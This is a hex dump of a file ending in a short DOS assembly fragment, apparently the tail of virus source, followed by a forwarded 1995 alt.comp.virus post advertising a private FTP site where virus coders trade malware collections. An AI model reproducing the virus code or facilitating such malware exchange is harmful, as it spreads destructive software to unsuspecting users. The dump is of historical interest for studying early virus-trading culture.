|00003260| 0d 0d 0a 0d 0d 0a 6d 6f | 76 65 5f 66 5f 70 74 72 |......mo|ve_f_ptr|
|00003270| 63 6c 6f 73 65 3a 0d 0d | 0a 20 20 20 20 20 20 20 |close:..|. |
|00003280| 20 6d 6f 76 20 61 78 2c | 34 32 30 30 68 0d 0d 0a | mov ax,|4200h...|
|00003290| 0d 0d 0a 6d 6f 76 65 5f | 66 3a 0d 0d 0a 20 20 20 |...move_|f:... |
|000032a0| 20 20 20 20 20 78 6f 72 | 20 64 78 2c 64 78 0d 0d | xor| dx,dx..|
|000032b0| 0a 20 20 20 20 20 20 20 | 20 78 6f 72 20 63 78 2c |. | xor cx,|
|000032c0| 63 78 0d 0d 0a 20 20 20 | 20 20 20 20 20 63 61 6c |cx... | cal|
|000032d0| 6c 20 64 6f 73 69 74 0d | 0d 0a 20 20 20 20 20 20 |l dosit.|.. |
|000032e0| 20 20 72 65 74 6e 0d 0d | 0a 0d 0d 0a 3b 2d 2d 2d | retn..|....;---|
|000032f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003300| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003310| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003320| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003330| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 0d 0d 0a 0d 0d 0a 0d |--------|-.......|
|00003340| 0d 0a 65 6e 64 63 6f 64 | 65 20 20 20 20 20 20 20 |..endcod|e |
|00003350| 20 20 6c 61 62 65 6c 20 | 20 20 20 20 20 20 62 79 | label | by|
|00003360| 74 65 0d 0d 0a 0d 0d 0a | 65 6e 64 70 0d 0d 0a 0d |te......|endp....|
|00003370| 0d 0a 63 6f 64 65 20 65 | 6e 64 73 0d 0d 0a 65 6e |..code e|nds...en|
|00003380| 64 20 20 73 74 61 72 74 | 0d 0d 0a 0d 0d 0a 46 72 |d start|......Fr|
|00003390| 6f 6d 20 73 6d 74 70 20 | 46 72 69 20 4a 61 6e 20 |om smtp |Fri Jan |
|000033a0| 32 37 20 31 33 3a 32 33 | 20 45 53 54 20 31 39 39 |27 13:23| EST 199|
|000033b0| 35 0d 0d 0a 52 65 63 65 | 69 76 65 64 3a 20 66 72 |5...Rece|ived: fr|
|000033c0| 6f 6d 20 69 64 73 2e 6e | 65 74 20 62 79 20 50 4f |om ids.n|et by PO|
|000033d0| 42 4f 58 2e 6a 77 75 2e | 65 64 75 3b 20 46 72 69 |BOX.jwu.|edu; Fri|
|000033e0| 2c 20 32 37 20 4a 61 6e | 20 39 35 20 31 33 3a 32 |, 27 Jan| 95 13:2|
|000033f0| 33 20 45 53 54 0d 0d 0a | 44 61 74 65 3a 20 46 72 |3 EST...|Date: Fr|
|00003400| 69 2c 20 32 37 20 4a 61 | 6e 20 31 39 39 35 20 31 |i, 27 Ja|n 1995 1|
|00003410| 33 3a 32 31 3a 33 38 20 | 2d 30 35 30 30 20 28 45 |3:21:38 |-0500 (E|
|00003420| 53 54 29 0d 0d 0a 46 72 | 6f 6d 3a 20 69 64 73 2e |ST)...Fr|om: ids.|
|00003430| 6e 65 74 21 4a 4f 53 48 | 55 41 57 20 28 4a 4f 53 |net!JOSH|UAW (JOS|
|00003440| 48 55 41 57 29 0d 0d 0a | 54 6f 3a 20 70 6f 62 6f |HUAW)...|To: pobo|
|00003450| 78 2e 6a 77 75 2e 65 64 | 75 21 6a 6f 73 68 75 61 |x.jwu.ed|u!joshua|
|00003460| 77 20 0d 0d 0a 43 6f 6e | 74 65 6e 74 2d 4c 65 6e |w ...Con|tent-Len|
|00003470| 67 74 68 3a 20 31 31 37 | 39 0d 0d 0a 43 6f 6e 74 |gth: 117|9...Cont|
|00003480| 65 6e 74 2d 54 79 70 65 | 3a 20 62 69 6e 61 72 79 |ent-Type|: binary|
|00003490| 0d 0d 0a 4d 65 73 73 61 | 67 65 2d 49 64 3a 20 3c |...Messa|ge-Id: <|
|000034a0| 39 35 30 31 32 37 31 33 | 32 31 33 38 2e 62 35 32 |95012713|2138.b52|
|000034b0| 62 40 69 64 73 2e 6e 65 | 74 3e 0d 0d 0a 53 74 61 |b@ids.ne|t>...Sta|
|000034c0| 74 75 73 3a 20 52 4f 0d | 0d 0a 0d 0d 0a 54 6f 3a |tus: RO.|.....To:|
|000034d0| 20 6a 6f 73 68 75 61 77 | 40 70 6f 62 6f 78 2e 6a | joshuaw|@pobox.j|
|000034e0| 77 75 2e 65 64 75 0d 0d | 0a 53 75 62 6a 65 63 74 |wu.edu..|.Subject|
|000034f0| 3a 20 28 66 77 64 29 20 | 50 72 69 76 61 74 65 20 |: (fwd) |Private |
|00003500| 56 69 72 69 69 20 46 54 | 50 20 53 69 74 65 0d 0d |Virii FT|P Site..|
|00003510| 0a 4e 65 77 73 67 72 6f | 75 70 73 3a 20 61 6c 74 |.Newsgro|ups: alt|
|00003520| 2e 63 6f 6d 70 2e 76 69 | 72 75 73 0d 0d 0a 0d 0d |.comp.vi|rus.....|
|00003530| 0a 50 61 74 68 3a 20 70 | 61 70 65 72 62 6f 79 2e |.Path: p|aperboy.|
|00003540| 69 64 73 2e 6e 65 74 21 | 75 75 6e 65 74 21 6e 6e |ids.net!|uunet!nn|
|00003550| 74 70 2e 63 72 6c 2e 63 | 6f 6d 21 63 72 6c 31 32 |tp.crl.c|om!crl12|
|00003560| 2e 63 72 6c 2e 63 6f 6d | 21 6e 6f 74 2d 66 6f 72 |.crl.com|!not-for|
|00003570| 2d 6d 61 69 6c 0d 0d 0a | 46 72 6f 6d 3a 20 79 6f |-mail...|From: yo|
|00003580| 6a 69 6d 62 6f 40 63 72 | 6c 2e 63 6f 6d 20 28 44 |jimbo@cr|l.com (D|
|00003590| 6f 75 67 6c 61 73 20 4d | 61 75 6c 64 69 6e 29 0d |ouglas M|auldin).|
|000035a0| 0d 0a 4e 65 77 73 67 72 | 6f 75 70 73 3a 20 61 6c |..Newsgr|oups: al|
|000035b0| 74 2e 63 6f 6d 70 2e 76 | 69 72 75 73 0d 0d 0a 53 |t.comp.v|irus...S|
|000035c0| 75 62 6a 65 63 74 3a 20 | 50 72 69 76 61 74 65 20 |ubject: |Private |
|000035d0| 56 69 72 69 69 20 46 54 | 50 20 53 69 74 65 0d 0d |Virii FT|P Site..|
|000035e0| 0a 44 61 74 65 3a 20 32 | 34 20 4a 61 6e 20 31 39 |.Date: 2|4 Jan 19|
|000035f0| 39 35 20 32 32 3a 30 31 | 3a 35 33 20 2d 30 38 30 |95 22:01|:53 -080|
|00003600| 30 0d 0d 0a 4f 72 67 61 | 6e 69 7a 61 74 69 6f 6e |0...Orga|nization|
|00003610| 3a 20 43 52 4c 20 44 69 | 61 6c 75 70 20 49 6e 74 |: CRL Di|alup Int|
|00003620| 65 72 6e 65 74 20 41 63 | 63 65 73 73 09 28 34 31 |ernet Ac|cess.(41|
|00003630| 35 29 20 37 30 35 2d 36 | 30 36 30 20 20 5b 4c 6f |5) 705-6|060 [Lo|
|00003640| 67 69 6e 3a 20 67 75 65 | 73 74 5d 0d 0d 0a 4c 69 |gin: gue|st]...Li|
|00003650| 6e 65 73 3a 20 31 34 0d | 0d 0a 4d 65 73 73 61 67 |nes: 14.|..Messag|
|00003660| 65 2d 49 44 3a 20 3c 33 | 67 34 70 67 68 24 6b 61 |e-ID: <3|g4pgh$ka|
|00003670| 32 40 63 72 6c 31 32 2e | 63 72 6c 2e 63 6f 6d 3e |2@crl12.|crl.com>|
|00003680| 0d 0d 0a 4e 4e 54 50 2d | 50 6f 73 74 69 6e 67 2d |...NNTP-|Posting-|
|00003690| 48 6f 73 74 3a 20 63 72 | 6c 31 32 2e 63 72 6c 2e |Host: cr|l12.crl.|
|000036a0| 63 6f 6d 0d 0d 0a 58 2d | 4e 65 77 73 72 65 61 64 |com...X-|Newsread|
|000036b0| 65 72 3a 20 54 49 4e 20 | 5b 76 65 72 73 69 6f 6e |er: TIN |[version|
|000036c0| 20 31 2e 32 20 50 4c 32 | 5d 0d 0d 0a 0d 0d 0a 49 | 1.2 PL2|]......I|
|000036d0| 20 72 75 6e 20 54 48 65 | 20 51 55 61 52 61 4e 54 | run THe| QUaRaNT|
|000036e0| 69 4e 45 2c 20 61 20 70 | 72 69 76 61 74 65 20 46 |iNE, a p|rivate F|
|000036f0| 54 50 20 73 69 74 65 20 | 66 6f 72 20 76 69 72 61 |TP site |for vira|
|00003700| 6c 20 72 65 73 65 61 63 | 68 65 72 73 2f 63 6f 64 |l reseac|hers/cod|
|00003710| 65 72 73 2e 20 49 27 6d | 20 0d 0d 0a 61 6c 77 61 |ers. I'm| ...alwa|
|00003720| 79 73 20 6f 6e 20 74 68 | 65 20 6c 6f 6f 6b 6f 75 |ys on th|e lookou|
|00003730| 74 20 66 6f 72 20 6e 65 | 77 20 76 69 72 61 6c 20 |t for ne|w viral |
|00003740| 6d 61 74 65 72 69 61 6c | 2e 20 49 66 20 79 6f 75 |material|. If you|
|00003750| 27 64 20 6c 69 6b 65 20 | 61 63 63 65 73 73 2c 20 |'d like |access, |
|00003760| 6f 72 20 0d 0d 0a 6c 69 | 6b 65 20 74 6f 20 74 72 |or ...li|ke to tr|
|00003770| 61 64 65 2c 20 65 6d 61 | 69 6c 20 6d 65 20 61 20 |ade, ema|il me a |
|00003780| 6c 69 73 74 20 6f 66 20 | 79 6f 75 72 20 63 6f 6c |list of |your col|
|00003790| 6c 65 63 74 69 6f 6e 2e | 20 0d 0d 0a 0d 0d 0a 53 |lection.| ......S|
|000037a0| 65 72 69 6f 75 73 20 69 | 6e 71 75 69 72 69 65 73 |erious i|nquiries|
|000037b0| 20 6f 6e 6c 79 2e 20 0d | 0d 0a 0d 0d 0a 20 20 20 | only. .|..... |
|000037c0| 20 20 20 20 da 20 f9 f9 | c4 c4 c4 f9 c4 20 20 c4 | . ..|..... .|
|000037d0| c4 2d c4 f9 fa c4 c4 c4 | c4 c4 2d 20 2d 20 c4 c4 |.-......|..- - ..|
|000037e0| c4 c4 c4 f9 c2 fa c4 c4 | c4 c4 2d 2d 20 c4 c4 c4 |........|..-- ...|
|000037f0| c4 f9 f9 c4 2d 20 c4 c4 | 2d c4 f9 fa c4 c4 fa 0d |....- ..|-.......|
|00003800| 0d 0a 20 20 20 20 20 20 | 20 b3 20 20 59 6f 6a 69 |.. | . Yoji|
|00003810| 6d 62 6f 20 5b ed d8 eb | e6 ed 5d 20 20 20 20 20 |mbo [...|..] |
|00003820| 20 20 20 20 20 20 20 20 | 20 f9 20 46 61 73 74 20 | | . Fast |
|00003830| 61 73 20 74 68 65 20 57 | 69 6e 64 20 20 20 20 20 |as the W|ind |
|00003840| 20 20 20 f9 0d 0d 0a 20 | 20 20 20 20 20 20 f9 20 | .... | . |
|00003850| 20 53 79 73 4f 70 3a 20 | 54 68 65 20 44 6f 6a 6f | SysOp: |The Dojo|
|00003860| 20 42 42 53 20 20 20 20 | 20 20 20 20 20 20 f9 20 | BBS | . |
|00003870| 51 75 69 65 74 20 61 73 | 20 74 68 65 20 46 6f 72 |Quiet as| the For|
|00003880| 65 73 74 20 20 20 20 20 | b3 0d 0d 0a 20 20 20 20 |est |.... |
|00003890| 20 20 20 b3 20 20 31 2e | 37 69 33 2e 34 33 36 2e | . 1.|7i3.436.|
|000038a0| 31 37 39 35 20 20 20 20 | 20 20 20 20 20 20 20 20 |1795 | |
|000038b0| 20 20 20 b3 20 41 67 67 | 72 65 73 73 69 76 65 20 | . Agg|ressive |
|000038c0| 61 73 20 46 69 72 65 20 | 20 20 20 20 20 fa 0d 0d |as Fire | ...|
|000038d0| 0a 20 20 20 20 20 20 20 | fa 20 20 51 55 61 52 61 |. |. QUaRa|
|000038e0| 4e 54 69 4e 45 20 48 6f | 6d 65 53 69 74 65 20 20 |NTiNE Ho|meSite |
|000038f0| 20 20 20 20 20 20 20 20 | fa 20 41 6e 64 20 20 20 | |. And |
|00003900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003910| 20 20 b3 0d 0d 0a 20 20 | 20 20 20 20 20 b3 20 20 | .... | . |
|00003920| 54 48 65 20 55 4c 54 69 | 4d 61 54 45 20 56 69 52 |THe ULTi|MaTE ViR|
|00003930| 61 4c 20 49 6e 46 65 43 | 54 69 4f 4e 20 b3 20 49 |aL InFeC|TiON . I|
|00003940| 6d 6d 6f 76 61 62 6c 65 | 20 61 73 20 61 20 4d 6f |mmovable| as a Mo|
|00003950| 75 6e 74 61 69 6e 20 b3 | 0d 0d 0a 20 20 20 20 20 |untain .|... |
|00003960| 20 20 20 f9 c4 20 2d c4 | f9 f9 fa c4 c4 c4 c4 c4 | .. -.|........|
|00003970| c4 c4 c4 c4 f9 f9 fa c4 | c4 c4 c4 20 c4 c4 fa c4 |........|... ....|
|00003980| c4 20 fa c4 c4 c4 c4 c4 | c4 c4 fa f9 2d c4 c4 c4 |. ......|....-...|
|00003990| c4 c4 c4 c4 c4 c4 f9 fa | c4 c4 c4 c4 0d 0d 0a 0d |........|........|
|000039a0| 0d 0a 0d 0d 0a | |..... | |
+--------+-------------------------+-------------------------+--------+--------+
